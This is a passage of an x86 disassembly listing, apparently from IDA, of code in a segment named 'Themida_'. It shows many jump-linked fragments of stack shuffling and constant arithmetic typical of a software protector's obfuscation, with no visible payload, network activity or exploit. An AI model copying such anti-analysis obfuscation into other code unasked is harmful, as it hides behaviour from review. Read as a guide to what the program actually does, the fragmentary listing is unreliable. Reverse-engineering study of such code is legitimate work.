mov [esp], ecx
jmp loc_56F078
; ---------------------------------------------------------------------------
loc_571647: ; CODE XREF: Themida_:00571496j
mov eax, 65083FA5h
sub esi, eax
pop eax
and esi, 71862E89h
push ebx
jmp loc_568EBA
; ---------------------------------------------------------------------------
loc_57165B: ; CODE XREF: Themida_:00564E67j
add ebx, esi
mov esi, [esp]
jmp loc_55EAE8
; ---------------------------------------------------------------------------
loc_571665: ; CODE XREF: Themida_:00561DE3j
or edi, 63861811h
and edi, 21AA3A97h
jmp loc_563B43
; =============== S U B R O U T I N E =======================================
sub_571676 proc near ; CODE XREF: sub_59DB3D-3ED64j
; FUNCTION CHUNK AT 0056E6C3 SIZE 00000008 BYTES
sub esp, 4
jmp loc_56E6C3
sub_571676 endp
; ---------------------------------------------------------------------------
loc_57167E: ; CODE XREF: Themida_:00571A0Ej
pop dword ptr [esp]
mov esp, [esp]
xor [esp], ax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_57168E: ; CODE XREF: Themida_:00570843j
mov bl, 0F8h
jmp loc_55D418
; ---------------------------------------------------------------------------
loc_571695: ; CODE XREF: Themida_:00571B6Bj
shr cl, 6
push ebx
mov bh, 2Ah
and cl, bh
push dword ptr [esp]
pop ebx
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
push bx
mov bh, 36h
sub cl, bh
pop bx
sub cl, 4Dh
sub esp, 4
jmp loc_57217D
; ---------------------------------------------------------------------------
loc_5716C7: ; CODE XREF: Themida_:00564253j
xor esi, 6BBE4B7Fh
sub ebx, esi
pop esi
xor ebx, 0CEF98560h
sub esp, 4
mov [esp], ebx
add dword ptr [esp], 7BD27926h
jmp loc_56A665
; ---------------------------------------------------------------------------
loc_5716E8: ; CODE XREF: Themida_:0056ED53j
mov edx, esp
add edx, 4
add edx, 4
jmp loc_571AF4
; ---------------------------------------------------------------------------
loc_5716F8: ; CODE XREF: Themida_:0055DCACj
pop esp
movsx cx, al
push 4236h
mov [esp], ebx
push 196Bh
mov [esp], esp
add dword ptr [esp], 4
pop ebx
push 25BEh
mov [esp], eax
jmp loc_56646C
; ---------------------------------------------------------------------------
loc_57171F: ; CODE XREF: Themida_:0055DBBFj
push edi
pop esi
push dword ptr [esp]
pop edi
push ebx
mov ebx, esp
push edi
mov edi, 5AB71663h
not edi
jmp loc_565AC9
; ---------------------------------------------------------------------------
loc_571735: ; CODE XREF: Themida_:00565E63j
push ebx
mov ebx, 2CD35007h
push 4825h
mov [esp], ebp
jmp loc_567A3E
; ---------------------------------------------------------------------------
loc_571748: ; CODE XREF: Themida_:0055F71Bj
sub esp, 4
mov [esp], ebp
push eax
mov eax, 54634E14h
inc eax
sub eax, 7D702C18h
shl eax, 3
jmp loc_572504
; ---------------------------------------------------------------------------
loc_571765: ; CODE XREF: Themida_:00561AA1j
add ecx, 1
push eax
mov eax, 593D6CAFh
xor ecx, eax
pop eax
or ecx, 65473CFBh
xor ecx, 7C00EEFEh
add eax, ecx
jmp loc_5636C0
; ---------------------------------------------------------------------------
loc_571787: ; CODE XREF: Themida_:0055D550j
and edx, 7B7E6960h
shr edx, 3
jmp loc_56908F
; ---------------------------------------------------------------------------
loc_571795: ; CODE XREF: Themida_:00564016j
push ebx
mov ebx, 6B3974D7h
or ecx, ebx
jmp loc_564E6C
; ---------------------------------------------------------------------------
loc_5717A2: ; CODE XREF: Themida_:0057215Cj
push ebp
mov ebp, 7C8F7B83h
mov esi, ebp
pop ebp
jmp loc_5651D9
; ---------------------------------------------------------------------------
loc_5717B0: ; CODE XREF: Themida_:0056AFDCj
push eax
push ebp
mov ebp, 37255B80h
mov eax, ebp
pop ebp
push esi
jmp loc_56788A
; ---------------------------------------------------------------------------
loc_5717C0: ; CODE XREF: Themida_:00560251j
xor ebx, 364A4B45h
mov edi, ebx
pop ebx
xor edi, 1FF14CF7h
push esi
mov esi, 0C6F1FE7h
xor esi, 304F7B49h
jmp loc_55FCDC
; ---------------------------------------------------------------------------
loc_5717E0: ; CODE XREF: Themida_:005608CDj
sub [esp+8], edx
pop edx
sub dword ptr [esp+4], 2F855D9h
jmp loc_56501C
; ---------------------------------------------------------------------------
loc_5717F2: ; CODE XREF: Themida_:0056D3B4j
pop ebp
neg ebp
neg ebp
xor ebp, 98B01EFh
xor ebp, 594A5F9Eh
mov edx, ebp
pop ebp
inc edx
shl edx, 8
jmp loc_5700DE
; ---------------------------------------------------------------------------
loc_57180F: ; CODE XREF: Themida_:005708FEj
xor ebx, 0C471462h
push edi
mov edi, ebx
mov eax, edi
mov edi, [esp]
add esp, 4
jmp loc_55DE3B
; ---------------------------------------------------------------------------
loc_571828: ; CODE XREF: Themida_:00570CD7j
pop ebx
mov al, 10h
jmp loc_571473
; ---------------------------------------------------------------------------
loc_571830: ; CODE XREF: Themida_:00566066j
add esp, 4
push edx
sub esp, 4
mov [esp], esi
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop esi
push eax
jmp loc_561BF8
; ---------------------------------------------------------------------------
mov ax, [esp]
push 39F4h
mov [esp], eax
push 5D4h
mov [esp], esp
add dword ptr [esp], 4
pop eax
push ebp
jmp loc_56D39E
; ---------------------------------------------------------------------------
loc_57186F: ; CODE XREF: Themida_:005635E0j
add esp, 4
jmp loc_5690B8
; ---------------------------------------------------------------------------
loc_57187A: ; CODE XREF: Themida_:0055F823j
mov esp, [esp]
mov [esp], ax
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_571886: ; CODE XREF: Themida_:0056C6FDj
xor ecx, [edi+24h]
push ebx
push esi
mov esi, 2FBC65BAh
mov ebx, 2FBC659Eh
xor ebx, esi
pop esi
add ebx, edi
push eax
mov eax, 0
add eax, ebx
push ebx
mov ebx, 0
add ebx, eax
xor [ebx], ecx
pop ebx
pop eax
jmp loc_56B7BA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DB3D
loc_5718B3: ; CODE XREF: sub_59DB3D-32FAEj
mov bh, 41h
sub bh, 1Fh
push edx
mov dh, 7
not dh
jmp loc_5701F9
; END OF FUNCTION CHUNK FOR sub_59DB3D
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
jmp loc_566AF0
; ---------------------------------------------------------------------------
loc_5718CC: ; CODE XREF: Themida_:005701E6j
pop esi
add edx, 52F33B1Bh
sub edx, 29B64EA5h
add edx, ebp
jmp loc_565A88
; ---------------------------------------------------------------------------
loc_5718E0: ; CODE XREF: Themida_:00561656j
push esi
mov esi, 4D797883h
neg esi
xor esi, 0CD798A73h
jmp loc_56D38C
; ---------------------------------------------------------------------------
loc_5718F3: ; CODE XREF: Themida_:005617E4j
mov esp, [esp]
imul ecx
sub esp, 4
mov [esp], ecx
push esp
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
jmp loc_56E067
; ---------------------------------------------------------------------------
loc_57190D: ; CODE XREF: Themida_:005613EFj
xor eax, [esp]
mov esp, [esp]
push 412Ch
mov [esp], eax
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_571920: ; CODE XREF: Themida_:00568F16j
pop esp
mov [esp], ebx
mov bl, 80h
sub al, bl
pop ebx
add al, 23h
jmp loc_569EBF
; ---------------------------------------------------------------------------
loc_571930: ; CODE XREF: Themida_:00566934j
sub ebx, 4AFC0507h
dec ebx
sub ebx, 0FFFFFFFFh
add ebx, 0E62FE1CDh
add ecx, ebx
mov ebx, [esp]
add esp, 4
add ecx, 4
jmp loc_56FE00
; ---------------------------------------------------------------------------
loc_571956: ; CODE XREF: Themida_:00564236j
pop edi
jmp loc_56C660
; ---------------------------------------------------------------------------
loc_57195C: ; CODE XREF: Themida_:0056ED5Cj
push ecx
mov ecx, 7C7E3533h
or ecx, 0FDB30C4h
dec ecx
xchg eax, ecx
inc eax
jmp loc_55DECB
; ---------------------------------------------------------------------------
loc_571970: ; CODE XREF: Themida_:0056C86Fj
pop esp
mov [esp], ebx
push esi
push 54B663BFh
jmp loc_56774B
; ---------------------------------------------------------------------------
loc_57197F: ; CODE XREF: Themida_:0055DD81j
mov ebx, 4C931443h
mov eax, 533C7CCAh
xor eax, ebx
pop ebx
or eax, 46E85D56h
xor eax, 38923FC4h
sub eax, 0FFFFFFFFh
shl eax, 8
shr eax, 1
push ecx
mov ecx, 702F3247h
shr ecx, 6
neg ecx
add ecx, 2D4778CDh
sub eax, ecx
pop ecx
add ebp, 588F5D72h
jmp loc_561F81
; ---------------------------------------------------------------------------
loc_5719BD: ; CODE XREF: Themida_:0056253Bj
push 2669h
jmp loc_563D9B
; ---------------------------------------------------------------------------
loc_5719C7: ; CODE XREF: Themida_:005669B2j
mov esi, [esp]
push 734Bh
mov [esp], eax
jmp loc_55DC3E
; ---------------------------------------------------------------------------
loc_5719D7: ; CODE XREF: Themida_:005675E3j
push esi
push esp
pop esi
push edx
mov edx, 58BD54F8h
dec edx
jmp loc_56274C
; ---------------------------------------------------------------------------
loc_5719E6: ; CODE XREF: Themida_:0055F5FCj
shl ebx, 2
sub ebx, 58C19731h
sub esi, ebx
pop ebx
add eax, esi
mov esi, [esp]
jmp loc_568216
; ---------------------------------------------------------------------------
loc_5719FC: ; CODE XREF: Themida_:0056C3D1j
pop ecx
add edi, 2
sub esp, 4
mov [esp], edi
push dword ptr [esp+4]
pop edi
jmp loc_57167E
; ---------------------------------------------------------------------------
loc_571A13: ; CODE XREF: Themida_:0055E210j
sub ecx, 7D3B6807h
inc ecx
jmp loc_56698A
; ---------------------------------------------------------------------------
loc_571A1F: ; CODE XREF: Themida_:0057127Ej
add [esp+4], edi
jmp loc_562661
; ---------------------------------------------------------------------------
loc_571A28: ; CODE XREF: Themida_:005701D9j
add esp, 4
add ebp, 4
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_5602C4
; ---------------------------------------------------------------------------
loc_571A3F: ; CODE XREF: Themida_:00570969j
sub ebx, 305B2AF0h
push 9A4h
jmp loc_56D0C8
; ---------------------------------------------------------------------------
loc_571A4F: ; CODE XREF: Themida_:00570BB0j
push ecx
mov ecx, 3E5C34FBh
add edx, ecx
pop ecx
sub edx, 6BAB1204h
jmp loc_56CE31
; ---------------------------------------------------------------------------
loc_571A63: ; CODE XREF: Themida_:0056E7A0j
add edi, 2CC57D80h
pop ecx
jmp loc_5689EB
; ---------------------------------------------------------------------------
loc_571A6F: ; CODE XREF: Themida_:005706F7j
mov esp, [esp]
push 1B8Eh
mov [esp], edx
jmp loc_570607
; ---------------------------------------------------------------------------
loc_571A7F: ; CODE XREF: Themida_:00567746j
push eax
mov eax, esp
add eax, 4
add eax, 2
jmp loc_55EE16
; ---------------------------------------------------------------------------
loc_571A8F: ; CODE XREF: Themida_:0056706Aj
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_571A94: ; CODE XREF: Themida_:0056AB31j
sub esi, edx
pop edx
mov ebp, [esp]
add esp, 4
push ebp
mov ebp, 2
jmp loc_5614D1
; ---------------------------------------------------------------------------
loc_571AAB: ; CODE XREF: Themida_:00562C58j
mov ebp, edx
jmp loc_560CB8
; ---------------------------------------------------------------------------
loc_571AB2: ; CODE XREF: Themida_:005619C1j
mov edx, 24h
add edx, edi
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_55FC44
; ---------------------------------------------------------------------------
loc_571AD0: ; CODE XREF: Themida_:0056A660j
pop dword ptr [esp]
pop esp
push 0C17h
mov [esp], edx
mov edx, esp
add edx, 4
push esi
mov esi, 4
add edx, esi
mov esi, [esp]
jmp loc_56B7CE
; ---------------------------------------------------------------------------
loc_571AF4: ; CODE XREF: Themida_:005716F3j
xchg edx, [esp]
pop esp
pop esi
jmp loc_55F513
; ---------------------------------------------------------------------------
loc_571AFE: ; CODE XREF: Themida_:00570046j
push 17705D5Ch
jmp loc_56C3A6
; ---------------------------------------------------------------------------
loc_571B08: ; CODE XREF: Themida_:0056D02Dj
add eax, 4
jmp loc_568D28
; ---------------------------------------------------------------------------
loc_571B12: ; CODE XREF: Themida_:00565F31j
pop edx
pop dword ptr [esp]
mov esp, [esp]
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_571B1E: ; CODE XREF: Themida_:0056B839j
push dword ptr [esp]
pop ebx
push ebp
mov ebp, esp
sub esp, 4
mov [esp], edx
mov edx, 431B68DEh
sub edx, 7C71634Ch
push ecx
mov ecx, 13CE7934h
jmp loc_564046
; ---------------------------------------------------------------------------
loc_571B41: ; CODE XREF: Themida_:005669D1j
pop edi
sub esp, 4
jmp loc_55DD96
; ---------------------------------------------------------------------------
loc_571B4A: ; CODE XREF: Themida_:005601DFj
add esp, 4
push ecx
push dword ptr [esp+4]
jmp loc_565E08
; ---------------------------------------------------------------------------
loc_571B57: ; CODE XREF: Themida_:0056AC08j
pop edx
xor dl, bl
push dword ptr [esp]
jmp loc_56A690
; ---------------------------------------------------------------------------
loc_571B62: ; CODE XREF: Themida_:005661ADj
add esp, 4
add cl, 0FFh
jmp loc_571695
; ---------------------------------------------------------------------------
loc_571B70: ; CODE XREF: Themida_:00568522j
add esp, 4
push edi
mov edi, 22D1594Bh
add edi, 28B9591Bh
neg edi
not edi
sub edi, 0CF68451Eh
add ebx, edi
pop edi
push ecx
mov ecx, 6D3A4F84h
inc ecx
push edi
mov edi, 52640572h
xor ecx, edi
jmp loc_560AEE
; ---------------------------------------------------------------------------
loc_571BA0: ; CODE XREF: Themida_:00566771j
pop ebx
add ebx, 4
add ebx, 4
jmp loc_56A48C
; ---------------------------------------------------------------------------
loc_571BAF: ; CODE XREF: Themida_:00571402j
add bh, 9Bh
neg bh
jmp loc_56B19A
; ---------------------------------------------------------------------------
loc_571BB9: ; CODE XREF: Themida_:0056B168j
pop eax
xor esi, 6B961D38h
and esi, 652748BDh
jmp loc_563095
; ---------------------------------------------------------------------------
loc_571BCB: ; CODE XREF: Themida_:0056CE42j
push ecx
mov cl, 4Eh
mov dl, cl
pop ecx
jmp loc_5644F6
; ---------------------------------------------------------------------------
loc_571BD6: ; CODE XREF: Themida_:0056FF36j
mov [esp], ecx
mov ecx, esp
push edi
mov edi, 61EE633Bh
jmp loc_565091
; ---------------------------------------------------------------------------
loc_571BE6: ; CODE XREF: Themida_:005643CFj
pop ecx
sub bl, 3Bh
add bl, dh
add bl, 3Bh
pop edx
push 782Ah
jmp loc_561FF6
; ---------------------------------------------------------------------------
loc_571BFA: ; CODE XREF: Themida_:0056D7C9j
sub edi, ebp
pop ebp
sub edi, 767379FDh
sub edi, 67D00A6Fh
pop ebp
jmp loc_567D72
; ---------------------------------------------------------------------------
loc_571C0F: ; CODE XREF: Themida_:0056513Aj
add edi, 4
push ebp
mov ebp, 4
jmp loc_568078
; ---------------------------------------------------------------------------
loc_571C20: ; CODE XREF: Themida_:0056A6F9j
add bl, 55h
jmp loc_5626E8
; ---------------------------------------------------------------------------
loc_571C28: ; CODE XREF: Themida_:0056BDEFj
mov esp, [esp]
jmp loc_56DF0B
; ---------------------------------------------------------------------------
loc_571C30: ; CODE XREF: Themida_:005630A4j
xor ebp, [esp]
jmp loc_56BCD5
; ---------------------------------------------------------------------------
loc_571C38: ; CODE XREF: Themida_:0056C40Dj
pop ecx
add esi, ebp
pop ebp
dec esi
push ebx
jmp loc_55F5F1
; ---------------------------------------------------------------------------
loc_571C43: ; CODE XREF: Themida_:0056FFB3j
sub eax, 4C6D6055h
add eax, 76334CF2h
sub eax, ebx
jmp loc_565289
; ---------------------------------------------------------------------------
loc_571C54: ; CODE XREF: Themida_:0056F635j
add bl, ch
jmp loc_55F69A
; ---------------------------------------------------------------------------
loc_571C5B: ; CODE XREF: Themida_:0055FEE0j
add edx, ebp
add edx, 292E408Ah
add edx, 73A761Ah
pop ebp
jmp loc_569B8C
; ---------------------------------------------------------------------------
loc_571C6F: ; CODE XREF: Themida_:0056E5FEj
not esi
jmp loc_567113
; ---------------------------------------------------------------------------
loc_571C76: ; CODE XREF: Themida_:00570CECj
xor edx, ebx
pop ebx
jmp loc_567E2A
; ---------------------------------------------------------------------------
loc_571C7E: ; CODE XREF: Themida_:0055ED1Aj
xchg eax, [esp]
pop esp
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push 3402h
mov [esp], ecx
mov ecx, esp
jmp loc_56CB3B
; ---------------------------------------------------------------------------
loc_571C9A: ; CODE XREF: Themida_:00570B19j
mov ebx, [esp]
add esp, 4
push eax
push ebp
jmp loc_565A20
; ---------------------------------------------------------------------------
loc_571CA7: ; CODE XREF: Themida_:00566103j
push ebp
mov ebp, 77AE5B54h
jmp loc_5696F8
; ---------------------------------------------------------------------------
loc_571CB2: ; CODE XREF: Themida_:00567DADj
push edx
mov edx, 7ED26FA3h
xor edx, 7ED26FA7h
jmp loc_56065C
; ---------------------------------------------------------------------------
loc_571CC3: ; CODE XREF: Themida_:00569A09j
push esi
jmp loc_570E9F
; ---------------------------------------------------------------------------
loc_571CC9: ; CODE XREF: Themida_:0056B796j
mov [esp], esi
jmp loc_562BF7
; ---------------------------------------------------------------------------
loc_571CD1: ; CODE XREF: Themida_:0055E5CDj
push 6F27h
mov [esp], edx
push 3E01h
mov [esp], eax
mov eax, 1212193Bh
mov edx, 14498606h
sub edx, 3182578Dh
sub edx, eax
jmp loc_566F81
; ---------------------------------------------------------------------------
loc_571CF8: ; CODE XREF: Themida_:00572410j
add edx, 0AAD5D65h
jmp loc_55F57F
; ---------------------------------------------------------------------------
loc_571D03: ; CODE XREF: Themida_:005712A4j
xor ebp, 436427BDh
sub ecx, ebp
jmp loc_5729C2
; ---------------------------------------------------------------------------
loc_571D10: ; CODE XREF: Themida_:0056F207j
sub edx, 3A51167Ch
sub esp, 4
mov [esp], ecx
push 242Fh
mov [esp], edx
push 3B99h
mov [esp], edx
push edi
push esi
mov esi, 70FB56C6h
mov edi, 0CC1CE04Dh
add edi, esi
pop esi
shr edi, 1
xchg ecx, edi
jmp loc_56E1C9
; ---------------------------------------------------------------------------
loc_571D47: ; CODE XREF: Themida_:00562F8Bj
pop eax
push 4BA7h
mov [esp], esi
jmp loc_5689FB
; ---------------------------------------------------------------------------
loc_571D55: ; CODE XREF: Themida_:005711A1j
push 58A3h
mov [esp], edx
jmp loc_56516A
; ---------------------------------------------------------------------------
loc_571D62: ; CODE XREF: Themida_:00572651j
add esp, 4
add esp, 4
push dx
push eax
sub esp, 4
mov [esp], ecx
mov cl, 8Ah
mov al, 84h
jmp loc_56F3D6
; ---------------------------------------------------------------------------
loc_571D80: ; CODE XREF: Themida_:00565C28j
shr ebx, 8
or ebx, 649B7BF5h
jmp loc_562646
; ---------------------------------------------------------------------------
loc_571D8E: ; CODE XREF: Themida_:005619FEj
push ecx
push 105572F5h
jmp loc_5672E5
; ---------------------------------------------------------------------------
loc_571D99: ; CODE XREF: Themida_:00569D4Ej
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_56D358
; ---------------------------------------------------------------------------
loc_571DAD: ; CODE XREF: Themida_:0056485Aj
add edx, ecx
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push ebp
push eax
jmp loc_5652AE
; ---------------------------------------------------------------------------
loc_571DC9: ; CODE XREF: Themida_:0057029Ej
push dword ptr [esp]
push dword ptr [esp]
pop esi
add esp, 4
jmp loc_55D8E8
; ---------------------------------------------------------------------------
loc_571DDB: ; CODE XREF: Themida_:00561559j
pop edi
xor ebx, 57E90129h
push ebp
mov ebp, 2AAA02B9h
add ebx, ebp
mov ebp, [esp]
jmp loc_570AB3
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
jmp loc_569A80
; ---------------------------------------------------------------------------
loc_571DFA: ; CODE XREF: Themida_:0056BCEAj
push ebx
push edi
jmp loc_56D499
; ---------------------------------------------------------------------------
loc_571E01: ; CODE XREF: Themida_:0056A545j
sub esi, 4A91561Bh
add esi, 2E771E10h
xor esi, 0E4A1E41Ch
add edx, 7A023541h
add edx, esi
sub edx, 7A023541h
jmp loc_5638CD
; ---------------------------------------------------------------------------
loc_571E26: ; CODE XREF: Themida_:00566F15j
pop edx
inc esi
push ebp
mov ebp, 4A991E6Ah
jmp loc_561782
; ---------------------------------------------------------------------------
loc_571E33: ; CODE XREF: Themida_:00567CBDj
mov [esp], edx
sub esp, 4
mov [esp], ebx
jmp loc_5629FD
; ---------------------------------------------------------------------------
loc_571E41: ; CODE XREF: Themida_:0055FE89j
mov [esp], esi
mov esi, 2DD04D0Ch
add dword ptr [esp+4], 5BA04702h
add [esp+4], esi
jmp loc_56EEEF
; ---------------------------------------------------------------------------
loc_571E5A: ; CODE XREF: Themida_:00569BC1j
pop esp
sub dword ptr [esp+4], 71E705C9h
add dword ptr [esp+4], 5BD55E20h
push ebp
jmp loc_56E7D2
; ---------------------------------------------------------------------------
loc_571E71: ; CODE XREF: Themida_:0056750Ej
pop esi
sub edi, 2AEC2B7Ah
jmp loc_560AA9
; ---------------------------------------------------------------------------
loc_571E7D: ; CODE XREF: Themida_:005610F2j
mov bl, 0Bh
sub bl, 62h
xor ch, bl
jmp loc_562688
; ---------------------------------------------------------------------------
loc_571E89: ; CODE XREF: Themida_:0056F7ABj
add eax, 533D1908h
pop ebp
xchg eax, [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_55EDA0
; ---------------------------------------------------------------------------
loc_571E9E: ; CODE XREF: Themida_:00565663j
sub ebx, 3817556h
jmp loc_5671E9
; ---------------------------------------------------------------------------
loc_571EA9: ; CODE XREF: Themida_:00562909j
sub ebp, esi
add ebp, 41114C6Ah
sub ebp, 396D26C8h
pop esi
mov edi, ebp
mov ebp, [esp]
jmp loc_563BF3
; ---------------------------------------------------------------------------
loc_571EC2: ; CODE XREF: Themida_:0056F79Cj
mov esi, [esp]
jmp loc_560BD6
; ---------------------------------------------------------------------------
loc_571ECA: ; CODE XREF: Themida_:0056D954j
add esp, 4
add cl, 8Ah
jmp loc_563FCA
; ---------------------------------------------------------------------------
loc_571ED5: ; CODE XREF: Themida_:00570A27j
pop edi
pop edx
xor esi, 512E5794h
push esi
push dword ptr [esp]
jmp loc_56C740
; ---------------------------------------------------------------------------
loc_571EE6: ; CODE XREF: Themida_:0056C94Dj
push 92086E4Bh
pop ebx
xor ebp, ebx
pop ebx
push ecx
mov ecx, 626E68B9h
jmp loc_571061
; ---------------------------------------------------------------------------
lodsd
push edx
mov edx, 2ADD241Eh
sub esi, edx
jmp loc_56FDCB
; ---------------------------------------------------------------------------
loc_571F08: ; CODE XREF: Themida_:0056D072j
mov edi, 0D35383h
or edi, 3FCE54F7h
xor edi, 63FA796Ch
push 2027h
jmp loc_55E81E
; ---------------------------------------------------------------------------
loc_571F23: ; CODE XREF: Themida_:0055D575j
sub edx, ebp
pop ebp
mov [edx], eax
mov edx, [esp]
push ebx
mov ebx, esp
jmp loc_564326
; ---------------------------------------------------------------------------
loc_571F33: ; CODE XREF: Themida_:005728EAj
push edx
mov edx, 6AFF02C8h
push edi
mov edi, 6F3E5F93h
sub edi, 0DA3D623Fh
mov ebx, edi
mov edi, [esp]
add esp, 4
jmp loc_566826
; ---------------------------------------------------------------------------
loc_571F55: ; CODE XREF: Themida_:00561ED7j
or esi, 400E6566h
sub esi, 519343ECh
jmp loc_56DE61
; ---------------------------------------------------------------------------
loc_571F66: ; CODE XREF: Themida_:005662B1j
sub esi, 1C5B56DCh
and ebx, esi
jmp loc_56165B
; ---------------------------------------------------------------------------
loc_571F73: ; CODE XREF: Themida_:005674FBj
mov dh, ah
mov eax, [esp]
jmp loc_560DA0
; ---------------------------------------------------------------------------
loc_571F7D: ; CODE XREF: Themida_:00564682j
shr eax, 10h
xor eax, ecx
jmp loc_56FF2A
; ---------------------------------------------------------------------------
loc_571F87: ; CODE XREF: Themida_:0056C6ABj
sub esi, 76687D93h
xor ebp, esi
pop esi
push eax
mov eax, 3D7013A3h
sub ebx, eax
mov eax, [esp]
push edx
mov edx, esp
jmp loc_562EC4
; ---------------------------------------------------------------------------
loc_571FA3: ; CODE XREF: Themida_:00562DDBj
shr eax, 8
push ebp
jmp loc_56E6CB
; ---------------------------------------------------------------------------
loc_571FAC: ; CODE XREF: Themida_:0056FC40j
inc edi
shr edi, 6
push ebx
mov ebx, 64F83E3Ah
and ebx, 4ACC4542h
push edi
mov edi, 1F270ECDh
xor edi, 298B74C6h
xor edi, 489506B2h
shr edi, 3
push esi
push ebp
mov ebp, 56BD3C6Ch
dec ebp
jmp loc_561DA3
; ---------------------------------------------------------------------------
loc_571FDE: ; CODE XREF: Themida_:0056275Aj
shr edx, 7
jmp loc_57054C
; ---------------------------------------------------------------------------
loc_571FE6: ; CODE XREF: Themida_:0056CF55j
mov esi, 497B6778h
sub esp, 4
mov [esp], eax
mov eax, 7EDE7D6Fh
and eax, 3B8827F8h
jmp loc_562E6A
; ---------------------------------------------------------------------------
loc_572000: ; CODE XREF: Themida_:0056906Cj
sub esp, 4
mov [esp], eax
sub esp, 4
mov [esp], ebp
push edx
mov edx, esp
add edx, 4
push ecx
push 4DE7759Ah
pop ecx
xor ecx, 94C300Bh
jmp loc_560603
; ---------------------------------------------------------------------------
loc_57202A: ; CODE XREF: Themida_:0056FCCBj
pop ebp
sub esp, 4
mov [esp], edx
sub esp, 4
mov [esp], eax
mov eax, 32607D34h
dec eax
not eax
shr eax, 2
xor eax, 3367E0B7h
push eax
add dword ptr [esp], 22AC29AEh
push dword ptr [esp]
pop edx
add esp, 4
sub edx, 22AC29AEh
push dword ptr [esp]
pop eax
sub esp, 4
mov [esp], esi
mov esi, esp
add esi, 4
push ebx
mov ebx, 19817C0Fh
shr ebx, 1
xor ebx, 326335F2h
sub ebx, 782A74A4h
add ebx, 506930C6h
inc ebx
jmp loc_55DD44
; ---------------------------------------------------------------------------
loc_572091: ; CODE XREF: Themida_:00567829j
pop eax
xor esi, 7B2E4732h
push 64Fh
mov [esp], edi
push 183Dh
mov [esp], edx
mov edx, 3BB60F2Ah
and edx, 3787600h
or edx, 13907ACFh
inc edx
jmp loc_56281E
; ---------------------------------------------------------------------------
loc_5720BF: ; CODE XREF: Themida_:0056FD15j
mov edi, ebp
pop ebp
sub [esp+4], edi
mov edi, [esp]
add esp, 4
mov eax, [esp]
push ebp
mov ebp, esp
push esi
mov esi, 3E6D2A76h
and esi, 1E60728Ah
shl esi, 1
push eax
mov eax, 243C76A2h
jmp loc_563614
; ---------------------------------------------------------------------------
loc_5720EB: ; CODE XREF: Themida_:005612FAj
sub ebx, 76F5201Ch
push edi
mov edi, 13DCDA98h
sub ebx, edi
pop edi
add edx, 3E665D38h
sub edx, 0C9702B6h
sub edx, ebx
add edx, 0C9702B6h
sub edx, 3E665D38h
jmp loc_55ED47
; ---------------------------------------------------------------------------
loc_572119: ; CODE XREF: Themida_:0056DF63j
pop eax
xchg esi, [esp]
jmp loc_567370
; ---------------------------------------------------------------------------
loc_572122: ; CODE XREF: Themida_:00565017j
mov ebp, 79A96840h
mov edi, 0B2406853h
sub edi, ebp
pop ebp
xor edi, 30993B85h
push ecx
mov ecx, 2EA1634Dh
sub ecx, 0C34A056Bh
xor edi, ecx
pop ecx
shr edi, 7
xor edi, 48122822h
xor edi, 345BE169h
mov edx, edi
mov edi, [esp]
add esp, 4
push esi
jmp loc_5717A2
; ---------------------------------------------------------------------------
loc_572161: ; CODE XREF: Themida_:00560017j
mov [esp], ebp
jmp loc_55E9C9
; ---------------------------------------------------------------------------
loc_572169: ; CODE XREF: Themida_:0056C07Dj
add edi, 68890371h
sub edi, ecx
jmp loc_56A62B
; ---------------------------------------------------------------------------
loc_572176: ; CODE XREF: Themida_:0056E5E0j
sub ebp, eax
jmp loc_5709F3
; ---------------------------------------------------------------------------
loc_57217D: ; CODE XREF: Themida_:005716C2j
mov [esp], eax
push 38h
mov [esp], edx
mov dh, cl
mov ah, dh
pop edx
mov bh, ah
jmp loc_565D14
; ---------------------------------------------------------------------------
loc_572194: ; CODE XREF: Themida_:00572A08j
not ebx
jmp loc_561838
; ---------------------------------------------------------------------------
loc_57219B: ; CODE XREF: Themida_:005630D1j
and eax, esi
push dword ptr [esp]
mov esi, [esp]
add esp, 4
add esp, 4
shr eax, 8
xor eax, ecx
xor eax, edx
jmp loc_560707
; ---------------------------------------------------------------------------
loc_5721B8: ; CODE XREF: Themida_:0055FA85j
push 15E654D3h
jmp loc_568125
; ---------------------------------------------------------------------------
loc_5721C2: ; CODE XREF: Themida_:0056E693j
and edi, eax
mov eax, [esp]
add esp, 4
shl edi, 4
push eax
mov eax, 3A06D872h
add edi, eax
pop eax
jmp loc_568118
; ---------------------------------------------------------------------------
loc_5721DE: ; CODE XREF: Themida_:00567FC3j
push ecx
jmp loc_56BB9C
; ---------------------------------------------------------------------------
loc_5721E4: ; CODE XREF: Themida_:0056DDC1j
mov [esp], ax
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_5721ED: ; CODE XREF: Themida_:00566E47j
mov edi, ecx
pop ecx
push edi
add dword ptr [esp], 3AF753A8h
push dword ptr [esp]
mov ebp, [esp]
push edi
jmp loc_563D75
; ---------------------------------------------------------------------------
loc_572204: ; CODE XREF: Themida_:00562FAEj
sub esp, 4
mov [esp], ecx
mov ch, 1Eh
xor ch, 56h
xor bh, ch
mov ecx, [esp]
add esp, 4
xor bh, 6
xor al, bh
push dword ptr [esp]
jmp loc_56A5A9
; ---------------------------------------------------------------------------
loc_572227: ; CODE XREF: Themida_:0056E597j
shl edi, 3
xor edi, 23135690h
sub edi, 2879CBEFh
mov eax, edi
jmp loc_569295
; ---------------------------------------------------------------------------
loc_57223D: ; CODE XREF: Themida_:0056ECD5j
add dword ptr [esp], 4
jmp loc_572AFD
; ---------------------------------------------------------------------------
loc_572246: ; CODE XREF: Themida_:0056FB37j
add edi, 4
add edi, 4
push edi
